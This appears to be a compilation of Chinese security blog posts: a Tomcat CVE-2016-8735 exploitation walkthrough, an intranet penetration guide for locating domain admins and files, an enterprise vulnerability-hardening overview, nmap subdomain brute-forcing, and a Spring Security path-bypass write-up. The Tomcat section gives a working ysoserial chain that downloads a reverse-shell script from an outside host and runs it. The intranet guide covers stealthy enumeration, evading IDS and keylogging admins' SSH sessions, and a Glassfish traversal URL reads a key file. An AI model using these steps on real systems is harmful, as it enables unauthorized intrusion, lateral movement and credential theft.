CVE-2016-8735 Apache Tomcat Remote Code Execution

构造命令

Win ping一次命令:

ping -n 1 qjkpla.ceye.io

Linux ping 一次命令:

ping -c 1 qjkpla.ceye.io

利用Ceye回显看是否存在漏洞:

java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit 漏洞IP 端口 Groovy1 "ping -c Groovy1.test.qjkpla.ceye.io"

poc1.png

DNS回显能返回数据,说明执行了Ping命令,也就是说漏洞存在

poc2.png

直接NC监听服务:

nc -l -vv 12555

poc3.png

然后构造命令:下载我们的反弹脚本:(之前用bash命令反弹没有成功所以使用Python脚本进行反弹)

java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit 漏洞IP 端口 Groovy1 "wget http://rinige.com/back.py -O /tmp/x.py"

执行完此命令继续构造命令,去执行刚在wget的脚本

java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit 漏洞IP 端口Groovy1 "python /tmp/x.py 反弹主机地址 反弹端口"

poc4.png

成功反弹:

poc5.png

poc6.png

提供一下测试环境和新编译的ysoserial:

  • 环境:apache-tomcat-8.0.36

链接:http://pan.baidu.com/s/1i4H9ryH 密码:0jeu

内网渗透定位技术总结

0x01 前言

说起内网定位,无论针对内网查找资料还是针对特殊人物都是非常实用的一项技术。这里把目前能够利用的手段&工具都一一进行讲解。

0x02 服务器(机器)定位

收集域以及域内用户信息

  • 收集域内域控制器信息
  • 收集域控上域用户登录日志信息
  • 收集域内所有用户名以及全名、备注等信息
  • 收集域内工作组信息
  • 收集域管理员帐号信息
  • 收集域内网段划分信息
  • 收集域内组织单位信息

常用收集域信息命令:

Net use
Net view
Tasklist /v
Ipconfig /all 
net group /domain 获得所有域用户组列表
net group “domain admins” /domain 获得域管理员列表
net group “enterprise admins” /domain 获得企业管理员列表
net localgroup administrators /domain 获取域内置administrators组用户(enterprise admins、domain admins)
net group “domain controllers” /domain 获得域控制器列表
net group “domain computers” /domain 获得所有域成员计算机列表
net user /domain 获得所有域用户列表
net user someuser /domain 获得指定账户someuser的详细信息
net accounts /domain 获得域密码策略设置,密码长短,错误锁定等信息
nltest /domain_trusts 获取域信任信息

net view 看机器注释或许能得到当前活动状态的机器列表,tasklist可以得到当前机器跑着的域账号。

结构分析

从计算机名获取ipv4地址:

使用nbtstat命令可以实现:nbtstat -a DC1,ping命令也可以实现:

C:\Documents and Settings\Administrator\Desktop>ping -n 1 DC1 -4

Pinging DC1.centoso.com [192.168.206.100] with 32 bytes of data:

Reply from 192.168.206.100: bytes=32 time<1ms TTL=128

Ping statistics for 192.168.206.100:
 Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
 Minimum = 0ms, Maximum = 0ms, Average = 0ms

如果计算机名很多的时候,可以利用bat批量ping获取ip:

@echo off
setlocal ENABLEDELAYEDEXPANSION
@FOR /F "usebackq eol=- skip=1 delims=\" %%j IN (`net view ^| find "命令成功完成" /v ^|find "The command completed successfully." /v`) DO (
@FOR /F "usebackq delims=" %%i IN (`@ping -n 1 -4 %%j ^| findstr "Pinging"`) DO (
@FOR /F "usebackq tokens=2 delims=[]" %%k IN (`echo %%i`) DO (echo %%k %%j)
)
)

10.jpg

最后可以把所有得到domain admins账号再net user 下,为这些信息按内容分别建立文件进行分析。

例如:

  • Users.txt 存放和用户信息有关的内容
  • Group.txt 存放和分组信息相关的内容

信息收集的姿势:

  • 人事组织结构图

例如:

789243degw1eift8ttyncj20q60a1adc_meitu_1.jpg

像这种人事组织结构图,很多公司和企业的外部站点上就有。然后结合分析人事资料里相关员工全称与域内用户名对应关系,就能很快定位到需要定位的人员使用的机器。

  • 内部邮箱

如果你能进某个用户内部邮箱,也可以从邮件头提取有用的信息。找寻跟目标用户来往的邮件,仔细查看邮件头。“X-Originating-IP”头经常会出现,这就可以让你追踪到目标IP。

  • 工具

常用工具:Dsquery/Dsget,Ldifde,Csvde,Adexplorer,Adfind,wmi,powershell…

工具使用参考:初级域渗透系列 – 01. 基本介绍&信息获取

注:控制扫描的频率和速度,可以大大降低触发IDS的风险,针对windows机器,可以考虑用wmi脚本和powershell脚本进行扫描,低频扫描可以很容易的绕过IDS的规则,同时可以考虑使用内网管理工具使用的相同协议进行扫描探测。Tips:

内网无工具扫描

http://rinige.com/index.php/archives/112/

一条 cmd 命令解决:

for /l %i in (1,1,255) do @ping 192.168.1.%i -w 1 -n 1 | find /i "ttl"

ping 整个 c 段,只输出有响应的主机。

% H" g% Q+ _6 q- P7 t

更变态的:

4 o4 g8 X- v9 x& w

域机器对应 IP

FOR /F "eol=- tokens=1 delims=\ " %a IN ('net view') DO @(echo name: %a, ip: & ping %a -w 1 -n 1 | 
find /i "ttl" & echo.)

把 net view 的结果,挨个 ping 一遍,并输出机器名和 ip 地址。

找主机名

for /l %i in (1,1,255) do @ping -a 10.0.1.%i -w 1 -n 1 | find /i "Pinging"

B 段查找

for /l %i in (1,1,255) do @ping -a 10.0.%i.1 -w 1 -n 1 | find /i "Pinging"

Win7

for /l %i in (1,1,255) do @ping -a 10.0.1.%i -w 1 -n 1 | find /i "Pinging"
for /l %i in (1,1,255) do @ping -a 10.0.%i.1 -w 1 -n 1 | find /i "Pinging"

改成

for /l %i in (1,1,255) do @ping -a 10.0.1.%i -w 1 -n 1 | find /i "Ping"
for /l %i in (1,1,255) do @ping -a 10.0.%i.1 -w 1 -n 1 | find /i "Ping"

就可以兼容 Win7 了。(Win7 ping -a 输出结果关键词为 “Ping”)

另外findstr /i “pinging” 或 findstr /i “ping” 可以换成 findstr “[” 的 可以适合多语言环境

0x03 文件定位

结合服务器定位总结出文件定位的大致思路:

  • 定位人力资源主管个人机
  • 定位人力资源相关文档存放位置
  • 从人力资源文档中找相关人
  • 定位相关人的机器
  • 监视相关人工作时存放文档的位置
  • 列出存放文档服务器的目录

20161201183217_meitu_2.jpg

文件定位需要注意的点:

  • 产品名称
  • 内部名称
  • 项目负责人
  • 项目团队
  • 生产部(分公司,工厂,代工厂)

经验

  1. FTP
  2. SMB
  3. DCNETLOGON\
  4. 产品管理系统(仓库管理系统)
  5. 各种数据库
  6. 其他服务器(分公司,工厂,代工厂)

定位文件服务器请参考上一节定位服务器(机器),定位到文件服务器和某个人,对于文件定位来说应该会事半功倍。这里就不过多叙述了。

参考:后渗透攻防的信息收集

0x04 管理员定位

工具

psloggedon.exe

系统自带工具。通过检验注册表里HKEY_USERS的key值来查询谁登陆过机器,同样也调用到了NetSessionEnum API。某些功能需要管理员权限

psloggedon.png

netsess.exe

netsess.exe的原理也是调用NetSessionEnum API,并且在远程主机上无需管理员权限。

netsess.png

PVEFindADUser.exe

用于枚举域用户以及登陆过特定系统的用户,需要管理员权限。工具描述:corelan

pvefindaduser.png

netview.exe

使用WinAPI枚举系统,利用 NetSessionEnum 来找寻登陆sessions, 利用NetShareEnum来找寻共享 , 利用 NetWkstaUserEnum 来枚举登陆的用户。它也能查询共享入口和有价值用户,还能使用延迟和抖动。绝大部分功能不需要管理员权限。

netview.png

Nmap的Nse脚本

如果你有域账户或者本地账户,你可以使用Nmap的smb-enum-sessions.nse 脚本来获取远程机器的登录session,并且不需要管理员权限。

参考:

nmap.sessions.png

Smbexec&Veil-Pillage

然后Smbexec有个 checkda模块,它可以检测域管进程和域管登陆。Veil-Pillage有它的 user_hunter 和group_hunter 模块,这两个工具都需要管理员权限。

hunter

hunter是一款利用 Windows API 调用来枚举跳板机上的用户登录信息的工具,无需管理员权限

file.png

domain.png

delay.png

groups.png

users_per_group.png

Active Directory

你可以通过AD信息来识别一些连接到服务器的用户

参考:

PowerShell

上面也曾提到针对windows机器,可以考虑用wmi脚本和powershell脚本进行扫描,低频扫描可以很容易的绕过IDS的规则。PowerShell有很多方法Windows Api并且绕过白名单。

参考:

PowerView

PowerView 里面有一些功能可以辅助找寻定位关键用户。要找到目标对应的用户时Get-UserProperties 将会提取所有用户的属性,并且Invoke-UserFieldSearch可以根据通配符来找寻特定用户的相关属性。这可以缩小目标搜索范围。比如说:我们使用这些功能来找Linux管理员组和其相关的成员,就可以追踪和键盘记录他们的putty/ssh会话。

Invoke-UserHunter 功能可以找到域内特定用户群。它支持一个用户名,用户列表,或域组查询,并支持一个主机列表或查询可用的主机域名。它会使用 Get-NetSessions 和Get-NetLoggedon(调用NetSessionEnum和 NetWkstaUserEnum API) 对每个服务器跑一遍而且会比较结果筛选出目标用户集。而且这个工具不需要管理员权限。

命令参考:

Get-NetGroups -> Get-NetGroup
Get-UserProperties -> Get-UserProperty
Invoke-UserFieldSearch -> Find-UserField
Get-NetSessions -> Get-NetSession
Invoke-StealthUserHunter -> Invoke-UserHunter -Stealth
Invoke-UserProcessHunter -> Invoke-ProcessHunter -Username X
Get-NetProcesses -> Get-NetProcess
Get-UserLogonEvents -> Get-UserEvent
Invoke-UserEventHunter -> Invoke-EventHunter

userhunter.png

Invoke-StealthUserHunter 只要一个查询就可以获取域内所有用户, 从user.HomeDirectories提取所有用户, 并且会对每个服务器进行Get-NetSessions 获取。无需使用 Invoke-UserHunter对每台机器操作,这个办法的隐蔽性就更高一点,但是涉及到的机器面不一定那么全。

一般默认使用Invoke-StealthUserHunter ,除非找不到我们所需,才会去使用Invoke-UserHunter方法。

stealth.userhunter.png

Invoke-UserProcessHunter是PowerView 的新功能。利用Get-NetProcesses cmdlet 来枚举远程机器的tasklists和进程寻找目标用户。这个枚举功能需要管理员权限。

process_hunter.png

Get-UserLogonEvents cmdlet可以查询查询登录事件(如:ID 4624)远程主机,Invoke-UserEventHunter 查询特定用户在域控上面的登陆日志,需要域管理权限。

参考:

user_event_hunter.png

其他一些姿势

  • 内部邮箱

如果你能进某个用户内部邮箱,也可以从邮件头提权有用的信息。找寻跟目标用户来往的邮件,仔细查看邮件头。“X-Originating-IP”头经常会出现,这就可以让你追踪到目标IP。

  • 查找域管进程

Scott Sutherland (@_nullbind) 2012年写了篇查找域管进程的文章。 其中详细讲述了如何使用tasklist和nbtscan的批处理来扫描机器及用户。不过远程tasklist的时候,需要本地管理员权限。

参考:

hunt for domain admin processes

0x05 总结

内网渗透,不是简单的耍流氓的说”可内网渗透”或者“内网漫游”,有着更高更深的责任和需求,有着更多设备和报警及防护软件(如Bit9,惠普ARCsight,Mandiant等等)的突破,有着更多网络拓扑和结构需要清晰洞察,有着更多的域控和域需要占领。 定位到内网管理员或者管理员上过的机器或者定位到文件和某个人,对于内网渗透来说应该会事半功倍。

0x06 参考

企业常见服务漏洞检测&修复整理

前言

12月份要要给公司同学做安全技术分享,有一块是讲常见服务的漏洞,网上的漏洞检测和修复方案写都比较散,在这里一起做一个整合,整理部分常见服务最近的漏洞和使用上的安全隐患方便有需要的朋友查看。如文章有笔误的地方请与我联系WeChat:atiger77

目录

1.内核级别漏洞

Dirty COW

2.应用程序漏洞

Nginx
Tomcat
Glassfish
Gitlab
Mysql
Struts2
ImageMagick
...

3.应用安全隐患

SSH
Redis
Jenkins
Zookeeper
Zabbix 
Elasticsearch
Docker
...

4.总结

漏洞检测&修复方法

1.内核级别漏洞

Dirty COW脏牛漏洞,Linux 内核内存子系统的 COW 机制在处理内存写入时存在竞争,导致只读内存页可能被篡改。

影响范围:Linux kernel >= 2.6.22

漏洞影响:低权限用户可以利用该漏洞写入对自身只读的内存页(包括可写文件系统上对该用户只读的文件)并提权至 root

PoC参考:

漏洞详情&修复参考:

这个漏洞对于使用linux系统的公司来说是一定要修复的,拿web服务举例,我们使用一个低权限用户开放web服务当web被攻击者挂了shell就可以使用exp直接提权到root用户。目前某些云厂商已经在基础镜像中修复了这个问题但是对于之前已创建的主机需要手动修复,具体修复方案可以参考长亭的文章。

2.应用程序漏洞

Nginx

Nginx是企业中出现频率最高的服务之一,常用于web或者反代功能。11月15日,国外安全研究员Dawid Golunski公开了一个新的Nginx漏洞(CVE-2016-1247),能够影响基于Debian系列的发行版。

影响范围:

  • Debian: Nginx1.6.2-5+deb8u3
  • Ubuntu 16.04: Nginx1.10.0-0ubuntu0.16.04.3
  • Ubuntu 14.04: Nginx1.4.6-1ubuntu3.6
  • Ubuntu 16.10: Nginx1.10.1-0ubuntu1.1

漏洞详情&修复参考:

这个漏洞需要获取主机操作权限,攻击者可通过软链接任意文件来替换日志文件,从而实现提权以获取服务器的root权限。对于企业来说如果nginx部署在Ubuntu或者Debian上需要查看发行版本是否存在问题即使打上补丁即可,对于RedHat类的发行版则不需要任何修复。

Tomcat

Tomcat于10月1日曝出本地提权漏洞CVE-2016-1240。仅需Tomcat用户低权限,攻击者就能利用该漏洞获取到系统的ROOT权限。

影响范围: Tomcat 8 <= 8.0.36-2 Tomcat 7 <= 7.0.70-2 Tomcat 6 <= 6.0.45+dfsg-1~deb8u1

受影响的系统包括Debian、Ubuntu,其他使用相应deb包的系统也可能受到影响

漏洞详情&修复参考:

CVE-2016-4438这一漏洞其问题出在Tomcat的deb包中,使 deb包安装的Tomcat程序会自动为管理员安装一个启动脚本:/etc/init.d/tocat* 利用该脚本,可导致攻击者通过低权限的Tomcat用户获得系统root权限。

实现这个漏洞必须要重启tomcat服务,作为企业做好服务器登录的权限控制,升级有风险的服务可避免问题。

当然在企业中存在不少部署问题而导致了Tomcat存在安全隐患,运维部署完环境后交付给开发同学,如果没有删除Tomcat默认的文件夹就开放到了公网,攻击者可以通过部署WAR包的方式来获取机器权限。

Glassfish

Glassfish是用于构建 Java EE 5应用服务器的开源开发项目的名称。它基于 Sun Microsystems 提供的 Sun Java System Application Server PE 9 的源代码以及 Oracle 贡献的 TopLink 持久性代码。低版本存在任何文件读取漏洞。

影响范围:Glassfish4.0至4.1

修复参考:升级至4.11或以上版本

PoC参考:

http://1.2.3.4:4848/theme/META-INF/%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./domains/
domain1/config/admin-keyfile

因为公司有用到Glassfish服务,当时在乌云上看到PoC也测试了下4.0的确存在任何文件读取问题,修复方法也是升级到4.11及以上版本。

Gitlab

Gitlab是一个用于仓库管理系统的开源项目。含义使用Git作为代码管理工具,越来越多的公司从SVN逐步移到Gitlab上来,由于存放着公司代码,数据安全也变得格外重要。

影响范围:

  • 任意文件读取漏洞(CVE-2016-9086): GitLab CE/EEversions 8.9, 8.10, 8.11, 8.12,
    and 8.13
  • 任意用户authentication_token泄露漏洞: Gitlab CE/EE versions 8.10.3-8.10.5

漏洞详情&修复参考:

http://blog.knownsec.com/2016/11/gitlab-file-read-vulnerability-cve-2016-9086-and-access-all-user-authentication-token/

互联网上有不少公司的代码仓库公网可直接访问,有些是历史原因有些是没有考虑到安全隐患,对于已经部署在公网的情况,可以让Gitlab强制开启二次认证防止暴力破解这里建议使用Google的身份验证,修改默认访问端口,做好acl只允许指定IP进行访问。

Mysql

Mysql是常见的关系型数据库之一,翻了下最新的漏洞情况有CVE-2016-6662和一个Mysql代码执行漏洞。由于这两个漏洞实现均需要获取到服务器权限,这里就不展开介绍漏洞有兴趣的可以看下相关文章,主要讲一下Mysql安全加固。

漏洞详情&修复参考:

在互联网企业中Mysql是很常见的服务,我这边提几点Mysql的安全加固,首先对于某些高级别的后台比如运营,用户等能涉及到用户信息的可以做蜜罐表。在项目申请资源的时候就要做好权限的划分,我们是运维同学保留最高权限,给开发一个只读用户和一个开发权限的用户进行使用,密码一律32位,同时指定机器登录数据库,删除默认数据库和数据库用户。

找了一篇还不错的加固文章提供参考:http://www.it165.net/database/html/201210/3132.html

Struts2

Struts2是一个优雅的,可扩展的框架,用于创建企业准备的Java Web应用程序。出现的漏洞也着实的多每爆一个各大漏洞平台上就会被刷屏。

漏洞详情&修复参考:

在线检测平台: http://0day.websaas.com.cn/

记得有一段时间Struts2的漏洞连续被爆出,自动化的工具也越来越多S2-032,S2-033,S2-037,乌云首页上都是Struts2的漏洞,有国企行业的有证券公司的使用者都分分中招,如果有使用的话还是建议升级到最新稳定版。

ImageMagick

ImageMagick是一个图象处理软件。它可以编辑、显示包括JPEG、TIFF、PNM、PNG、GIF和Photo CD在内的绝大多数当今最流行的图象格式。

影响范围:

  • ImageMagick 6.5.7-8 2012-08-17
  • ImageMagick 6.7.7-10 2014-03-06 低版本至6.9.3-9released 2016-04-30

漏洞详情&修复参考:

这个漏洞爆出来时也是被刷屏的,各大互联网公司都纷纷中招,利用一张构造的图片使用管道服符让其执行反弹shell拿到服务器权限,产生原因是因为字符过滤不严谨所导致的执行代码.对于文件名传递给后端的命令过滤不足,导致允许多种文件格式转换过程中远程执行代码。

3.应用安全隐患

为了不加长篇幅长度,加固具体步骤可以自行搜索。

SSH

之前有人做过实验把一台刚初始化好的机器放公网上看多久会遭受到攻击,结果半个小时就有IP开始爆破SSH的密码,网上通过SSH弱密码进服务器的案列也比比皆是。

安全隐患:

  • 弱密码

加固建议:

  • 禁止使用密码登录,更改为使用KEY登录
  • 禁止root用户登录,通过普通权限通过连接后sudo到root用户
  • 修改默认端口(默认端口为22)

Redis

Redis默认是没有密码的,在不需要密码访问的情况下是非常危险的一件事,攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。

安全隐患:

  • 未认证访问
  • 开放公网访问

加固建议:

  • 禁止把Redis直接暴露在公网
  • 添加认证,访问服务必须使用密码

Jenkins

Jenkins在公司中出现的频率也特别频繁,从集成测试到自动部署都可以使用Jenkins来完成,默认情况下Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者通过暴力破解用户密码进脚本执行界面从而获取服务器权限。

安全隐患:

  • 登录未设置密码或密码过于简单
  • 开放公网访问

加固建议:

  • 禁止把Jenkins直接暴露在公网
  • 添加认证,建议使用用户矩阵或者与JIRA打通,JIRA设置密码复杂度

Zookeeper

分布式的,开放源码的分布式应用程序协调服务;提供功能包括:配置维护、域名服务、分布式同步、组服务等。Zookeeper默认也是未授权就可以访问了,特别对于公网开放的Zookeeper来说,这也导致了信息泄露的存在。

安全隐患:

  • 开放公网访问
  • 未认证访问

加固建议:

  • 禁止把Zookeeper直接暴露在公网
  • 添加访问控制,根据情况选择对应方式(认证用户,用户名密码,指定IP)

Zabbix

Zabbix为运维使用的监控系统,可以对服务器各项指标做出监控报警,默认有一个不需要密码访问的用户(Guest)。可以通过手工SQL注入获取管理员用户名和密码甚至拿到session,一旦攻击者获取Zabbix登录权限,那么后果不堪设想。

安全隐患:

  • 开放公网访问
  • 未删除默认用户
  • 弱密码

加固建议:

  • 禁止把Zabbix直接暴露在公网
  • 删除默认用户
  • 加强密码复杂度

Elasticsearch

Elasticsearch是一个基于Lucene的搜索服务器。越来越多的公司使用ELK作为日志分析,Elasticsearch在低版本中存在漏洞可命令执行,通常安装后大家都会安装elasticsearch-head方便管理索引,由于默认是没有访问控制导致会出现安全隐患。

安全隐患:

  • 开放公网访问
  • 未认证访问
  • 低版本漏洞

加固建议:

  • 禁止把Zabbix直接暴露在公网
  • 删除默认用户
  • 升级至最新稳定版
  • 安装Shield安全插件

Docker

容器服务在互联网公司中出现的频率呈直线上升,越来越多的公司使用容器去代替原先的虚拟化技术,之前专门做过Docker安全的分析,从 Docker自身安全, DockerImages安全和Docker使用安全隐患进行展开,链接:https://toutiao.io/posts/2y9xx8/preview

之前看到一个外国哥们使用脏牛漏洞在容器中运行EXP跳出容器的视频,具体我还没有复现,如果有复现出来的大家一起交流下~

安全隐患:

  • Base镜像漏洞
  • 部署配置不当

加固建议:

  • 手动升级Base镜像打上对应补丁
  • 配置Swarm要当心

4.总结

当公司没有负责安全的同学,做到以下几点可以在一定程度上做到防护:

  1. 关注最新漏洞情况,选择性的进行修复;
  2. 梳理内部开放服务,了解哪些对外开放能内网访问的绝不开放公网;
  3. 开放公网的服务必须做好访问控制;
  4. 避免弱密码;避免弱密码;避免弱密码;

以上内容只是理想状态,实际情况即使有安全部门以上内容也不一定能全部做到,业务的快速迭代,开发安全意识的各不相同,跨部门沟通上出现问题等等都会导致出现问题,这篇文章只罗列了部分服务,还有很多服务也有同样的问题,我有空会不断的更新。WeChat:atiger77

使用Nmap和自定义子域名文件发现目标子域

如何使用nmap dns-brute脚本和自定义子域名文件发现目标子域

Nmap的dns-brute脚本能发现127个常见的子域,因此我经常使用它与一个自定义子域文件来发现最常见的1000, 10.000. 100.000 和 1.000.000 类型的子域.

命令如下:

nmap --script dns-brute --script-args dns-brute.domain=amazon.com,dns-brute.threads=6,dns-brute.hostlist=./sub1000.lst

nmap --script dns-brute --script-args dns-brute.domain=amazon.com,dns-brute.threads=6,dns-brute.hostlist=./sub10000.lst

nmap --script dns-brute --script-args dns-brute.domain=amazon.com,dns-brute.threads=6,dns-brute.hostlist=./sub100000.lst

nmap --script dns-brute --script-args dns-brute.domain=amazon.com,dns-brute.threads=6,dns-brute.hostlist=./sub1000000.lst

子域名文件

链接: http://pan.baidu.com/s/1geW5yD1 密码: t2rh

Amazon Example

nmap2.jpg

CVE-2016-5007 Spring Security / MVC Path Matching Inconsistency

概要

  • 产品名称:Spring Web + Spring Security / Spring Boot
  • 标题:Spring Security / MVC Path Matching Inconsistency
  • CVE ID: CVE-2016-5007
  • Intrinsec ID:ISEC-V2016-01
  • 风险级别:中
  • 漏洞利用:远程
  • 影响:请求授权绕过

描述

此漏洞影响的Spring Web和Spring Security使用HttpSecurity.authorizeRequests用于URL访问控制的应用。

Spring提供了一个Spring Security使用文档:

http://docs.spring.io/spring-security/site/docs/current/reference/html/jc.html#authorize-requests

protected void configure(HttpSecurity http) throws Exception {
    http
        .authorizeRequests()                                                                
            .antMatchers("/resources/**", "/signup", "/about").permitAll()                  
            .antMatchers("/admin/**").hasRole("ADMIN")                                      
            .antMatchers("/db/**").access("hasRole('ADMIN') and hasRole('DBA')")            
            .anyRequest().authenticated()                                                   
            .and()
        // ...
        .formLogin();
}

在以下示例中,用户”User”不是管理员,并且无法访问”/admin/”管理目录:

cve-2016-5007-1.png

但是,如果在URL中将空格(或其他空格字符)附加到”admin”前后,可以轻易绕过安全过滤器。

  • 附加空格(由浏览器自动编码为”%20″):

cve-2016-5007-2.png

  • %0D前置:

cve-2016-5007-3.png

问题是使用不同的匹配器来实现访问控制,并且识别哪个控制器类应该处理请求。用于访问控制的第一个匹配器是严格的:”admin “被认为不同于”admin”:

cve-2016-5007-4.png

然而,用于找到适当的控制器的第二匹配器应用删除每个URL令牌之前和之后的空白的修剪操作,因此”admin”变为”admin”:

cve-2016-5007-5.png

总之:

访问控制匹配器不识别受保护的路径,因此应用默认的“允许”规则,而控制器查找器匹配器找到受保护的控制器。

两个匹配器之间的严格性不匹配导致了这种情况。

这个漏洞危害性高低与否取决越权查看页面后查询数据的时候是否有校验当前用户的session。

影响版本

  • Spring Security 3.2.x,4.0.x,4.1.0
  • Spring框架3.2.x,4.0.x,4.1.x,4.2.x
  • 其他不受支持的版本也会受到影响

解决方案

Spring Security提供了可以将模式匹配委派给Spring框架的URL授权,要利用这个选项,应用程序应该升级到Spring Security 4.1.1+和Spring Framework 4.3.1+并使用MvcRequestMatcher。

Spring Framework 3.2.x,4.0.x,4.1.x,4.2.x的用户可以使用MVC Java配置或MVC命名空间将AntPathMatchertrimTokens属性设置为“false”。

此外,应用程序应该总是使用Spring Security的一种机制(例如添加@Secured注释),在应用程序的业务层使用额外的授权来补充基于URL的授权。

分享一个两年前的测试案例:

目标是基于拦截器的访问控制,但是系统做拦截判断的时候是采用完全匹配模式校验,所以可以轻易绕过。

http://xxx.com:8000/security/security!admin.action --blocking
http://xxx.com:8000////security/security!admin.action --bypass

简单总结下这个两个漏洞产生的原因:

第一个案例的问题问题出现在第二个规则检测前的数据处理工作,do_work(a)的时候已经不知道do_check(a)是什么内容了!这里能做什么?只能保证保持输入a不变,能做事就做,做不了就反馈错误!此类问题绝非个案,平时代码审计可以多加关注。

Reference